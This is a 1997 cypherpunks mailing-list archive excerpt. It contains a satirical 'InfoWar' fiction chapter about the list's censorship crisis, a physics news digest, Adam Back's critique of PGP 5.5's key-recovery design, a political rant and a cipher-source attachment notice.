Cowboy recognized the significance immediately. "A thousand Points of
Presence."

"UUNET...WorldCom?" Alexis asked, surprised.

Jonathan nodded, adding, "And they're moving faster and quieter than they
did in history as we have known it, up to now."
He began reading off the list he had compiled in just a short time, "Fiber,
Digital Microwave, Satellite, Undersea Fiber Cable. Financial markets,
telecommunications, construction, health care, and politics.
"They seem to be putting all of the 'usual suspects' under one flag, around
the globe."
----------------------------------------------------------------------------

A Player To Be Named Later scanned the series of posts, for the thousandth
time.
"It's dejavu, all over again." he said, quoting a Yogi Berra malapropism.

The feeling had been growing on him...
The feeling that somehow, everything was the same as before...only different.

"The Lake of Life has started to turn over. The bottom is rising to the top,
the top is descending to the bottom, and everything is becoming the opposite
of what it seems to be."

A Player To Be Named Later sat quietly, contemplating what it was that had
changed, only somehow not changed, since the last time the lake had turned
over on the CypherPunks mailing list.
He thought about "WebWorld & the Mythical Circle of Eunuchs." He began to
see the parallel between the history of the creation of WebWorld and the
creation of the CypherPunks distributed list.

There was the subterfuge which had preceded both the Channel Revolution
which foreshadowed WebWorld and the Censorship Crisis which had presaged the
CypherPunks distributed mailing list.
There were the climaxes that precipitated the structural changes in both
cases, the satellite destruction in the one case, and the loss of toad.com
as host to the mailing list in the other case. There were the parallels with
outside attacks ceasing on both the CypherPunks distributed mailing lists
and the variety of Channels on WebWorld, in an attempt to let the
citizens/members bond with their new channels/lists.
One parallel-or two, depending on how you looked at it-in particular, which
stood out in the mind of A Player To Be Named Later.

There were three CypherPunks distributed lists-at algebra.com, ssz.com, and
at cyberpass.net.
Likewise, there was a reference to the Money Channel Government in WebWorld
having three channels under its control.
Then, there was the strange, strange saga of three religious channels-the
God Channel, the Dualist Channel, and the Trinity Channel-which had somehow
merged, yet not merged, creating a problem which had left the 'powers that
be' very, very nervous.

"What the hell happened to Channel War I?" A Player To Be Named Later, asked
himself, suddenly recognizing a glaring disparity between the parallels he
was drawing between the history of WebWorld and the history of the
CypherPunks list.
"And what the hell happened to InfoWar?" he asked, turning to Baby, who
stood up and barked her agreement that there was definitely something fishy
going on that involved the two shadow wars that had somehow been misplaced
in the annals of history-one in the future, and one in the past.

In 'WebWorld', both the reference to the three Money Channel Governments and
reference to the three spiritual channels which became one, yet didn't,
revolved around the close of Channel War I. But there didn't seem to be a
parallel to Channel War I in the Time-Line of the CypherPunks list.
Likewise, 'WebWorld' began with a reference to an 'InfoWar Scrambler
Mechanism' which seemed to indicate that 'InfoWar' would play a major part
in the history of 'WebWorld & the Mythical Circle of Eunuchs.' Yet there
were only a few later references in Part II of The True Story of the
InterNet in regard to "the beginning stages of InfoWar," with no further
details.

A Player To Be Named Later strained to touch the wispy haze of memory which
was rising somewhere in the back of his mind-a memory which whispered
"InfoWar" from somewhere deep in the heart of the CypherPunks mailing list
censorship crisis.

"Toto!" he said, suddenly feeling a ferocious stinging sensation behind his
right ear, which resulted in a loss of balance as he fell to the floor, and
a loss of consciousness as the blackness closed in around him...
----------------------------------------------------------------------------

The tattered remnants of the Magic Circle of the future sat quietly around
the antique oak table, anxious and depressed.

"Why is the Trei Transponder receiving interference from Toto's digital
implant?" Priscilla asked the group. "All of my monitoring tests show that
the last adjustments we made to the Zooko Zamboni were up to Journeyman
standards."

"Perhaps it is a result of the differences in the winter climates between
the Netherlands and Canada." Jonathan said.
"It seems to me that the effects of Global Warming were just beginning to
have undeniably noticeable effects in that particular epoch."

The Cowboy got up and paced a bit, as the others realized he was working up
the courage to say what they were all thinking.
"Or.." he hesitated, then turned to face the others and continued, "perhaps
the rebirth of InfoWar reflects that our efforts toward changing the past
have not only been successful, but are now irrevocable."

Jonathan pulled up a passage of 'WebWorld' onto the GraphiScreen,
contemplating what he had originally perceived as the failure of InfoWar
during the hotly contested battle which took place on the CypherPunks list
during the censorship crisis.

"January 19, 1997.
"The beginning date of the 'moderation experiment' on the legendary
CypherPunks mailing list. The beginning probe in preparation for the
launching of InfoWar-an experiment which had failed miserably and had caused
a delay in the plans of the Evil One. A delay caused by the damnable
insolence of the terminal misfits among the CypherPunks. An insolence that
was rumored to be fueled by the Circle of Eunuchs, fanning the 'flames' of
dissent among the CypherPunks, helping them to resist the herding of their
list members into the group-mindset desired by the Evil One."

The other members of the Circle of Eunuchs sat still in their seats, not
wanting to disturb the deep thoughts of Jonathan, who was indeed the Last
True CypherPunk, having grown up at their feet, immersed in their logic and
their lore, and whose whole life had been ruled by his connection to the
infamous anarchists who had been, alternately, both the shining light of
freedom and privacy in their era, and the treacherous instigators of Channel
War II-the war which had led to the ultimate triumph of the Gomez and the
Dark Allies and the conclusive ascent of the Dark Forces in their domination
of WebWorld under the dictum of the Evil One.

The room was quiet as Jonathan reluctantly pulled up the next passage of
'WebWorld' which had described his feelings when his bereft past had come
back to haunt him.

"Jonathan sat frozen in his seat, once again, his brain locked from the
major dichotomies being produced as a result of his present-in which the
CypherPunks were a villainous band of rogues who had instigated the
launching of Channel War II-and his past, in which his grandfather had been
exposed both as one of the major players in both the launching of Channel
War II, and as traitorous scum who had sabotaged the goals of the
CypherPunks in that same historical battle.
"Jonathan's grandfather wasn't just a CypherPunk. He was the Fool."

"We won..." Jonathan's voice trailed off, before he rose from the table and
repeated his statement, in anger.

"We won, damn it!
"I know we won. Grandfather knew we won the censorship battle. Everyone knew
that we won the censorship battle. History itself knows that we won...we..."

Jonathan stopped short, turning to stare at the others, who were staring
back.

"Jonathan..." Bubba said softly. "History has changed."

"I know that, damn it!" Jonathan resumed his pacing, knowing that he was
missing something very, very important, but he couldn't for the life of him
think what it might possibly be.

The others in the room watched and waited, knowing that it was Jonathan, and
Jonathan alone, whose heritage was intricately and irrevocably linked to the
era in history which they had, for better or worse, interfered in through
their use of the Trei Transponder.

"Grandfather was a traitor to the CypherPunks...a traitor to freedom and
privacy. He sabotaged everything that the CypherPunks had fought so hard to
defend, since the inception of their anarchist, cryptography mailing list.
"But the CypherPunks loved us..."

Jonathan was lost in memories of a childhood in which he and his family had
been forced to remain in constant motion, staying a half-step ahead of the
Dark Allies, who had been hunting down the last remaining members of the
CypherPunks-with a vengeance.

His family had been soundly welcomed by the remaining CypherPunks, in their
flight to freedom after his Grandfather's assassination. They had given the
family food, clothing, shelter, and warned them when the Dark Allies were
closing in, and it was once again time to flee. Duncan Frissell had even...
Perhaps they all had...

Jonathan sank to the floor, slowly, with Alexis leaping up and catching him
softly. Cowboy helped her guide him toward the table and lower him into a
chair.
Jonathan slowly pulled off his shirt and stared at his tattoo...the Mark of
the Toad.

"Duncan Frissell arrived at our last safe house, in the middle of the
night." Jonathan spoke, finally understanding the real story behind his
family's flight into obscurity.
"He warned us to flee, but it was too late...the Dark Allies were close at
hand."

Jonathan's voice was full of amazement as he recounted an event which he had
long known, but had never managed to fully understand.
"Duncan held the Dark Allies at bay, while we made our escape. I can still
hear his screams..." Jonathan shuddered, then began shaking terribly. Alexis
closed her arms around him, hugging him lightly.

"Your Grandfather knew that the CypherPunks had lost the battle." Bubba
picked up the thread. The other members of the Magic Circle looked on,
mystified as to this strange turn of events which turned the whole history
of the CypherPunks and the Circle of Eunuchs on hits head.

"It wasn't a censorship battle." the Cowboy said, amazed as much by what he
was saying as those listening to him were.
"It was InfoWar!"

"That's what happened to InfoWar." Alexis cried out, in disbelief of her own
words. "It was over before it had begun."

Bubba d'Shauneaux IV rose to his feet, and filled in the details of the
battle as could only be done by one who had spent a lifetime of subterfuge
playing a role which was the exact opposite of what it had seemed to be from
surface appearances.

"It was the first battle fought solely within the bounds of Virtual
Reality."

"It represented the true nadir point in history when the battle between the
Forces of Light and the Forces of Darkness moved beyond the physical plane
and into the minds of mankind."

"InfoWar!" he roared, the word reverberated throughout the room, sending the
Trei Transponder into a soft hum which grew louder and louder, with a pitch
that went lower and lower until it became subsonic, unheard, but shaking the
room...the earth...even WebWorld itself...

The Trei Transponder exploded with a mighty boom, shaking the room so
violently that the tattered remnants of the Magic Circle were thrown from
their chairs, and found themselves rising to see only ruins around them,
where their safe house had once been. They immediately realized that they
must flee at once, as those investigating the explosion would undoubtedly be
the Dark Allies, fully aware that the event had rent WebWorld at the seams.

Jonathan paused, weapon in hand, covering the retreat of d'Shauneaux, who
had remained behind to remove the last traces of evidence that the Circle of
Eunuchs had ever truly been there.
As d'Shauneaux joined him, motioning for him to proceed, he took one last
look at the shattered remains of the Trei Transponder. All contact with the
CypherPunks of the past was now gone, with little hope of it being renewed.

Silently, he sent a message to the CypherPunks of his youth-from the bottom
of his soul and into the inestimable profundity of the Tao. It was a message
that would be understood by those who had been at Woodstock-a physical
gathering of a Magic Circle which had come into physical being through a
random blessing of Time and Chance.

"You're on you own, folks...because we're sure on ours."
----------------------------------------------------------------------------

      Those who fail to learn from the future, are doomed to repeat it.
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 9 Oct 1997 06:48:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: update.340 (fwd)
Message-ID: <199710082304.SAA14158@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From physnews@aip.org Wed Oct  8 14:08:52 1997
Date: Wed, 8 Oct 97 09:47:35 EDT
From: physnews@aip.org (AIP listserver)
Message-Id: <9710081347.AA08262@aip.org>
To: physnews-mailing@aip.org
Subject: update.340


PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 340 October 8, 1997 by Phillip F. Schewe and Ben Stein

TURNING ONIONS INTO DIAMONDS.  Nano-diamonds can
be created without high pressure by squeezing carbon "onions"
(nested buckyball-like structures) with ion beams.  Graphite
material can be made into diamond the hard way, with the use of
high pressure (above 10^6 atmospheres), high temperature, and
the use of catalysts.  But recently scientists have been able to
bombard carbon onions with electron beams and now ion beams
as well, and have been able to convert the onions almost
completely into diamonds, up to 100 nm in size.  Researchers at
the Max Planck Institute in Stuttgart (Florian Banhart,
banhart@wselix.mpi-stuttgart.mpg.de) use a beam of neon ions
to pelt the onions, which act like miniature pressure cells.  With
larger ion accelerators, one should be able to make macroscopic
amounts of irradiation-induced diamond.  (Experimental work:
Wesolowski et al., Applied Physics Letters, 6 Oct. 1997; theory
paper (Zaiser and Banhart) upcoming in Physical Review Letters;
figure at www.aip.org/physnews/graphics.)

MOLECULAR HYDROGEN SHOULD BECOME
SUPERFLUID if placed on the right surface, say physicists at the
University of Illinois (David Ceperley, ceperley@ncsa.uiuc.edu). 
Superfluids, substances that flow without friction, are few in
number: liquid helium-4, special gases of rubidium and sodium
atoms (in the form of Bose-Einstein condensates), pairs of
helium-3 atoms, and pairs of electrons (which flow through
superconductors).  The trouble with getting hydrogen molecules
(H2) to become superfluid is that they are all too ready to
combine with each other into H2 solids. By laying them on a
silver substrate and by salting them with a pinch of alkali metal
atoms, the H2's should be able to resist the tendency to solidify
all the way down to zero temperature.  At 1.2 K they would
become a superfluid, the Illinois theorists predict.  They believe
this can be carried out over the next year, after which
experimentalists could explore unique hybrid superfluids, such as
H2/He-4 mixtures.  (M.C. Gordillo and D.M. Ceperley,
Physical Review Letters, 13 Oct; see figure at
www.aip.org/physnews/graphics)

A POLYMER THAT CAN TRANSFER ENERGY BETWEEN
DIFFERENT LIGHT BEAMS has been demonstrated by
researchers at UC-San Diego (W.E. Moerner, 619-822-0453),
opening possibilities for inexpensive and easily manufacturable
"optical transistors" that can amplify or attenuate a light beam. 
The San Diego polymer is an example of a "photorefractive"
material, a material that adjusts its structure and electronic
properties when two or more light beams combine on it to form
an interference pattern.  On these materials, light from one beam
can bend in such a way as to bounce back in the direction of a
second beam, adding energy to it.   Inorganic versions of these
materials exist, but they are difficult to make and can cost
thousands of dollars for a tiny cube. Moerner constructed a
polymer whose three main components carried out essential tasks:
buckyballs offer electrons, poly (n-vinyl carbazole) (PVK)
molecules carry these electrons along their backbone, and
PDCST molecules stretch or contract, changing the way light
bends in these regions.  The researchers demonstrated a "net
gain" of about 5, in which one of the laser beams shining on the
material gained energy.  These materials have numerous possible
applications, including correcting distorted images.  (Science, 25
July.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Last True CypherPunk <cypherpunks@toad.com>
Date: Thu, 9 Oct 1997 08:41:39 +0800
To: cypherpunks@toad.com
Subject: InfoWar 2000 / AOL Format
Message-ID: <343C1F7F.6F0E@toad.com>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar
2000

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

InfoWar 2000 


InfoWar 2000


"InfoWar is back!" Jonathan cried out, waking
the other members of the Magic Circle instantly. They quickly
rose and gathered around the GraphiScreen hovering over the old
oak table.

Subject: Re: [Pigdog] ViaCrypt slowly executes Timmy
C. May
From: Flesh <flesh@pigdog.org>
To: pigdog-l@arlington.com, cypherpunks@toad.com

Does the fireBot work well with the throwemupagainstthewallandaimfortheheadBot?



Cowboy recognized the significance immediately. "A thousand
Points of Presence."

"UUNET...WorldCom?" Alexis asked, surprised.

Jonathan nodded, adding, "And they're moving faster and
quieter than they did in history as we have known it, up to now."

He began reading off the list he had compiled in just a short
time, "Fiber, Digital Microwave, Satellite, Undersea Fiber
Cable. Financial markets, telecommunications, construction, health
care, and politics.
"They seem to be putting all of the 'usual suspects' under
one flag, around the globe."


A Player To Be Named Later scanned the series of posts, for the
thousandth time. 
"It's dejavu, all over again." he said, quoting
a Yogi Berra malapropism.

The feeling had been growing on him...
The feeling that somehow, everything was the same as before...only
different.

"The Lake of Life has started to
turn over. The bottom is rising to the top, the top is descending
to the bottom, and everything is becoming the opposite of what
it seems to be."

A Player To Be Named Later sat quietly, contemplating what it
was that had changed, only somehow not changed, since the last
time the lake had turned over on the CypherPunks mailing list.

He thought about "WebWorld & the Mythical Circle of Eunuchs."
He began to see the parallel between the history of the creation
of WebWorld and the creation of the CypherPunks distributed list.

There was the subterfuge which had preceded both the Channel Revolution
which foreshadowed WebWorld and the Censorship Crisis which had
presaged the CypherPunks distributed mailing list.
There were the climaxes that precipitated the structural changes
in both cases, the satellite destruction in the one case, and
the loss of toad.com as host to the mailing list in the other
case. There were the parallels with outside attacks ceasing on
both the CypherPunks distributed mailing lists and the variety
of Channels on WebWorld, in an attempt to let the citizens/members
bond with their new channels/lists.
One parallel-or two, depending on how you looked at it-in particular,
which stood out in the mind of A Player To Be Named Later.

There were three CypherPunks distributed lists-at algebra.com,
ssz.com, and at cyberpass.net.
Likewise, there was a reference to the Money Channel Government
in WebWorld having three channels under its control.
Then, there was the strange, strange saga of three religious channels-the
God Channel, the Dualist Channel, and the Trinity Channel-which
had somehow merged, yet not merged, creating a problem which had
left the 'powers that be' very, very nervous.

"What the hell happened to Channel War I?" A
Player To Be Named Later, asked himself, suddenly recognizing
a glaring disparity between the parallels he was drawing between
the history of WebWorld and the history of the CypherPunks list.

"And what the hell happened to InfoWar?" he asked,
turning to Baby, who stood up and barked her agreement that there
was definitely something fishy going on that involved the two
shadow wars that had somehow been misplaced in the annals of history-one
in the future, and one in the past.

In 'WebWorld', both the reference to the three Money Channel Governments
and reference to the three spiritual channels which became one,
yet didn't, revolved around the close of Channel War I. But there
didn't seem to be a parallel to Channel War I in the Time-Line
of the CypherPunks list.
Likewise, 'WebWorld' began with a reference to an 'InfoWar Scrambler
Mechanism' which seemed to indicate that 'InfoWar' would play
a major part in the history of 'WebWorld & the Mythical Circle
of Eunuchs.' Yet there were only a few later references in Part
II of The True Story of the InterNet in regard to "the beginning
stages of InfoWar," with no further details.

A Player To Be Named Later strained to touch the wispy haze of
memory which was rising somewhere in the back of his mind-a memory
which whispered "InfoWar" from somewhere deep
in the heart of the CypherPunks mailing list censorship crisis.

"Toto!" he said, suddenly feeling a ferocious
stinging sensation behind his right ear, which resulted in a loss
of balance as he fell to the floor, and a loss of consciousness
as the blackness closed in around him...


The tattered remnants of the Magic Circle of the future sat quietly
around the antique oak table, anxious and depressed.

"Why is the Trei Transponder receiving interference from
Toto's digital implant?" Priscilla asked the group. "All
of my monitoring tests show that the last adjustments we made
to the Zooko Zamboni were up to Journeyman standards."

"Perhaps it is a result of the differences in the winter
climates between the Netherlands and Canada." Jonathan
said.
"It seems to me that the effects of Global Warming were
just beginning to have undeniably noticeable effects in that particular
 epoch."

The Cowboy got up and paced a bit, as the others realized he was
working up the courage to say what they were all thinking.
"Or.." he hesitated, then turned to face the
others and continued, "perhaps the rebirth of InfoWar
reflects that our efforts toward changing the past have not only
been successful, but are now irrevocable."


Jonathan pulled up a passage of 'WebWorld' onto the GraphiScreen,
contemplating what he had originally perceived as the failure
of InfoWar during the hotly contested battle which took place
on the CypherPunks list during the censorship crisis.

"January 19, 1997.
"The beginning date of the 'moderation experiment' on the
legendary CypherPunks mailing list. The beginning probe in preparation
for the launching of InfoWar-an experiment which had failed miserably
and had caused a delay in the plans of the Evil One. A delay caused
by the damnable insolence of the terminal misfits among the CypherPunks.
An insolence that was rumored to be fueled by the Circle of Eunuchs,
fanning the 'flames' of dissent among the CypherPunks, helping
them to resist the herding of their list members into the group-mindset
desired by the Evil One."


The other members of the Circle of Eunuchs sat still in their
seats, not wanting to disturb the deep thoughts of Jonathan, who
was indeed the Last True CypherPunk, having grown up at their
feet, immersed in their logic and their lore, and whose whole
life had been ruled by his connection to the infamous anarchists
who had been, alternately, both the shining light of freedom and
privacy in their era, and the treacherous instigators of Channel
War II-the war which had led to the ultimate triumph of the Gomez
and the Dark Allies and the conclusive ascent of the Dark Forces
in their domination of WebWorld under the dictum of the Evil One.

The room was quiet as Jonathan reluctantly pulled up the next
passage of 'WebWorld' which had described his feelings when his
bereft past had come back to haunt him.

"Jonathan sat frozen in his seat, once again, his brain
locked from the major dichotomies being produced as a result of
his present-in which the CypherPunks were a villainous band of
rogues who had instigated the launching of Channel War II-and
his past, in which his grandfather had been exposed both as one
of the major players in both the launching of Channel War II,
and as traitorous scum who had sabotaged the goals of the CypherPunks
in that same historical battle.
"Jonathan's grandfather wasn't just a CypherPunk. He was
the Fool."


"We won..." Jonathan's voice trailed off,
before he rose from the table and repeated his statement, in anger.

"We won, damn it!
"I know we won. Grandfather knew we won the censorship
battle. Everyone knew that we won the censorship
battle. History itself knows that we won...we..."

Jonathan stopped short, turning to stare at the others, who were
staring back.

"Jonathan..." Bubba said softly. "History
has changed."

"I know that, damn it!" Jonathan resumed
his pacing, knowing that he was missing something very, very important,
but he couldn't for the life of him think what it might possibly
be.

The others in the room watched and waited, knowing that it was
Jonathan, and Jonathan alone, whose heritage was intricately and
irrevocably linked to the era in history which they had, for better
or worse, interfered in through their use of the Trei Transponder.

"Grandfather was a traitor to the CypherPunks...a traitor
to freedom and privacy. He sabotaged everything that the CypherPunks
had fought so hard to defend, since the inception of their anarchist,
cryptography mailing list.
  "But the CypherPunks loved us..."

Jonathan was lost in memories of a childhood in which he and his
family had been forced to remain in constant motion, staying a
half-step ahead of the Dark Allies, who had been hunting down
the last remaining members of the CypherPunks-with a vengeance.

His family had been soundly welcomed by the remaining CypherPunks,
in their flight to freedom after his Grandfather's assassination.
They had given the family food, clothing, shelter, and warned
them when the Dark Allies were closing in, and it was once again
time to flee. Duncan Frissell had even...
Perhaps they all had...

Jonathan sank to the floor, slowly, with Alexis leaping up and
catching him softly. Cowboy helped her guide him toward the table
and lower him into a chair.
Jonathan slowly pulled off his shirt and stared at his tattoo...the
Mark of the Toad.

"Duncan Frissell arrived at our last safe house, in the
middle of the night." Jonathan spoke, finally understanding
the real story behind his family's flight into obscurity.
"He warned us to flee, but it was too late...the Dark
Allies were close at hand."

Jonathan's voice was full of amazement as he recounted an event
which he had long known, but had never managed to fully understand.

"Duncan held the Dark Allies at bay, while we made our
escape. I can still hear his screams..." Jonathan
shuddered, then began shaking terribly. Alexis closed her arms
around him, hugging him lightly.

"Your Grandfather knew that the CypherPunks had
lost the battle." Bubba picked up the thread.
The other members of the Magic Circle looked on, mystified as
to this strange turn of events which turned the whole history
of the CypherPunks and the Circle of Eunuchs on hits head.

"It wasn't a censorship battle." the Cowboy said,
amazed as much by what he was saying as those listening to him
were.
"It was InfoWar!"

"That's what happened to InfoWar." Alexis
cried out, in disbelief of her own words. "It was over
before it had begun."

Bubba d'Shauneaux IV rose to his feet, and filled in the details
of the battle as could only be done by one who had spent a lifetime
of subterfuge playing a role which was the exact opposite of what
it had seemed to be from surface appearances.

"It was the first battle fought solely within the bounds
of Virtual Reality."

"It represented the true nadir point in history when the
battle between the Forces of Light and the Forces of Darkness
moved beyond the physical plane and into the minds of mankind."

"InfoWar!" he roared, the word
reverberated throughout the room, sending the Trei Transponder
into a soft hum which grew louder and louder, with a pitch that
went lower and lower until it became subsonic, unheard, but shaking
the room...the earth...even WebWorld itself...

The Trei Transponder exploded with a mighty boom, shaking the
room so violently that the tattered remnants of the Magic Circle
were thrown from their chairs,  and found themselves rising to
see only ruins around them, where their safe house had once been.
They immediately realized that they must flee at once, as those
investigating the explosion would undoubtedly be the Dark Allies,
fully aware that the event had rent WebWorld at the seams.

Jonathan paused, weapon in hand, covering the retreat of d'Shauneaux,
who had remained behind to remove the last traces of evidence
that the Circle of Eunuchs had ever truly been there.
As d'Shauneaux joined him, motioning for him to proceed, he took
one last look at the shattered remains of the Trei Transponder.
All contact with the CypherPunks of the past was now gone, with
little hope of it being renewed.

Silently, he sent a message to the CypherPunks of his youth-from
the bottom of his soul and into the inestimable profundity of
the Tao. It was a message that would be understood by those who
had been at Woodstock-a physical gathering of a Magic Circle which
had come into physical being through a random blessing of Time
and Chance.

"You're on you own, folks...because we're sure on ours."


Those who fail to learn from the future, are doomed
to repeat it.


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 01:22:18 +0800
To: jon@pgp.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <199710081706.SAA00194@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Callas <jon@pgp.com> defends:
> One of the downsides of cryptography is that if you lose your passphrase
> (or token, PIN, smart card, or whatever), you've lost your data. My
> favorite way of expressing this problem is, "if you lose the keys to your
> car, then you have to get a new car."

This is true but mainly I think for _storage_ keys.  PGP is being
discussed as an email communications system.  It's probably just as
likely that your email will disappear down a black hole as that you
forget your keys.

Your analogy doesn't fit.

All you're encrypting is something sent over a fairly unreliable
communications link.  If you lose the key, well heck you just get the
sender to resend it.  Happens every day with or without crypto.

(So you generate a new key, and get it certified, and publish your
revocation cert., if you have one).

This is the same mistake that Freeh and company make in arguing for
GAK.  It's a flawed argument.

> This downside is particularly insidious for a number of reasons. First,
> without fixing that problem, strong cryptography will be in some sort of
> limbo. You want to use it to protect your valuable information, but you
> won't want to use it for any information that's *too* valuable, because
> it's easily lost. Crypto-protected information is fragile, and this
> fragility could hurt its widespread deployment.

Email itself is pretty fragile, and email is not commonly used for
long term storage.  (What are PGP are thinking? "gee, how best can we
best archive our master source tree ... I know we'll email it to our
colleague over here and delete it before I get confirmation it
arrived"?).

> When they started mumbling along these lines, the privacy community got
> their own act together and started describing what we believe to be the
> real solution. This is called "data recovery." 

Way I understand "data recovery" is that you have a recovery mechanism
for stored data.  Like you have backups of the keys for your hard disk
driver level encryption program, or encrypted back up program.

You either have misunderstood the data recovery argument, or are
attempting to rejig it to fit your argument.

> When I was at HIP97 this August, I was amused to hear cypherpunks
> chanting, "Data recovery good, key recovery bad." 

I'm pretty sure said cypherpunks were chanting about storage keys:
keys for data stored on your disk, as opposed to the GAKkers wanting
access to your communications keys.

> The essence of data recovery is that focusing on the keys is a
> canard. If you've misplaced your data, you want the data back, not
> the keys.

Bingo.  And your data is where?  On your disk.  Not in limbo being
passed around the flaky sendmail/mailserver hodge-podge that is
Internet mail.

> If you've locked yourself out of your car, you want the use of
> your car, not the just the key. Thus, the solution to encrypted data
> being fragile is to let people get to the data. 

No, no!  The simple solution to fragile encryption on fragile
communications data is to keep a copy of the email you sent!  Encrypt
and backup the keys for that all you want, and you won't get any GAK
complaints.

> If you don't like data recovery, you aren't going to like what we
> did in PGP 5.5 -- we built a data recovery system.

No you didn't, you built a GAK system.

> Data recovery is useful for a number of things. Perhaps you lost
> your passphrase. Or data might have been encrypted by an employee or
> co worker who was in an accident.

Yes, and your archives are going to be where?  On backup tapes, on an
encrypted partition on his hard disk... not in the email system.

> (As an aside, fifteen years ago, the architect of a product I worked
> on was in a severe car wreck. He was not killed, but suffered brain
> damage and has never returned to work.) 

Sad story.  I venture to suggest, however, that the product source
code was not stored solely in your email box, nor I expect did the
last copy of your source tree happen to be en-route in encrypted
email which only he had the key for.

> Your spouse might need access to financial records.

She might.  In which case you might secret split the key to your
encrypted partition, your lawyer and her, or whatever.

> What makes data recovery different from key recovery? In my opinion,
> data recovery allows you to get encrypted data without compromising
> the key of the person who encrypted it.

Nope, that's not it.  Data recovery is being able to recover stored
data.  "Key escrow" and "key recovery" are newspeak terms defined by
the GAKkers which mean that they want access to your communications
keys.  Your response should be to widely field systems using forward
secrecy, not to go along and implement GAK for them. 

[description of PGP GAKware elided]

If any PGP employees want a job working for a company which doesn't do
GAK, contact me off list, encrypted mail preferred.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Thu, 9 Oct 1997 02:49:24 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Fund-Raisers Allege long term DNC Wrongdoing
Message-ID: <19971008.180342.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Two Democratic fund-raisers have agreed to testify in 
exchange for immunity that Bill Clinton's presidential 
campaign in 1992 and the Democratic Party engaged in 
an array of questionable activities, a House committee 
disclosed today.

see: http://www.nytimes.com/aponline/w/AP-House-Fund-Raising.html

    the allegations will cover incidents from 1991 to the 
    present including Indonesian, Chinese, and other foreign
    interests; details on Peter Trei; influence peddling;
    a letter with Clinton's name on it for a now SE Asia
    head of state, etc.  Big Macs as legal tender. bacon 
    extra.

    these folks are ready to do some serious singing! 

    the proposed revelators were convicted and sentenced 
    on one of the charges and are apparently willing to sing 
    to avoid prosecution on the rest.

    if they had enough evidence to put them in jail for the
    tip of the iceberg...

    so, when the fat lady sings, and Valhalla incinerates,
    do you think the market will have a confidence crisis?

    too bad stock certificates are electronic; they could 
    bring on the dancing girls and have a tickertape parade 
    with the output of the shredders as the fraudsters run
    for cover.

    Wall Street is going to look like Pol Pot came to visit,
    left a few calling cards, too.

    since clinton has been busy tossing Gore to the sharks, 
    maybe we will have the Grinch as President --he's next 
    in line.

    at least the Grinch will look better in a Santa suit!
    he may be just in time.

    that might be enough to have the whole infrastructure 
    collapse; it might be time to close the bankruptcy 
    proceedings initiated by  Mr. "chicken in every pot" 
    himself on 09 Mar 1933. ironic that his ad her 
    intellectual <g> baggage is being cared for by the
    current occupants of 1600 Pennsylvania --full circle!

    as debtors are absolved when bankruptcy is satisfied
    or liquitdated, do you suppose we can get rid of that
    stupid fringed [admirality] flag and the contract courts?
    maybe even have common law and habeus corpus restored?

    of course, we must remember to hire the Merchant of 
    Venice's lawyer to save us each a pound of flesh. dang,
    I had old William's plot phone number here somewhere.

    naw, that's too much to ask for; the four horsemen just 
    came over the horizon...


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDvTOb04kQrCC2kFAQHm+gP/YEG9GK7jLSy7nJ4p/jQ+C967M4+tPwEs
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 9 Oct 1997 10:08:01 +0800
To: vijo@vikram.svrec.ernet.in
Subject: MISTY algorithm source code
Message-ID: <19971009011655.26059.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3985.1071713738.multipart/mixed"

--Boundary..3985.1071713738.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Attachments files is MISTY algorithm source code.
Thank you very much.





______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com
MISTY.zip


--Boundary..3985.1071713738.multipart/mixed
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Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="zip00000.zip"
Content-Description: ""

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Thu, 9 Oct 1997 06:52:32 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: copyright & privacy (was Re: "Matchcode" technology sparks privacy flames.....)
In-Reply-To: <199709241736.SAA04219@server.test.net>
Message-ID: <97Oct8.183617edt.32261@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



